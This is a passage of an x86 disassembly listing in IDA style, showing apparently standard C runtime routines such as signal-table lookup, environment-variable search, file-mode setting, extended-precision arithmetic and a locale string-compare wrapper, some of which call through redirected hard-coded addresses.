		cmp	eax, ecx
		jnb	short loc_425916

loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB5AC
		mov	eax, offset dword_4DB5AC
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB5A8
		mov	eax, offset dword_4DB5A8
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB5B0
		mov	eax, offset dword_4DB5B0
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB5A4
		mov	eax, offset dword_4DB5A4

loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2

loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16

loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB380
		and	dword_4DB380, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C97C
		mov	dword_43C97C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------

loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]

loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C970
		mov	ecx, dword_43C974
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C900h[edx*4]

loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------

loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A

loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C97C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------

loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B

loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB380, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C97C, eax

loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx

loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8FC, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]

loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4

loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6

loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC950, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2D8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2D0
		test	esi, esi
		jz	short loc_425B3E

loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax

loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36

loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------

loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------

loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax

loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------

loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h

loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB2A8, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------

loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB2A8, 9

loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------

loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------

loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax

loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A

loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------

loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96

loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11

loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC

loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A

loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]

loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1

loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96

loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]

loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------

loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDF8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF58
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi

loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi

loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC704
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC924
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2D8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C

loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE

loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax

loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB5B8, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB5B8, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------

loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE5C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25F068Ch
		nop
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB5B8, 2

loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB5B8
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F068Ch
		nop
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081

loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6

loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2

loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002

loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28C0000h
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047

loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE

loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D

loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------

loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB

loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE

loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------

loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------

loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax

loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D

loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190

loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
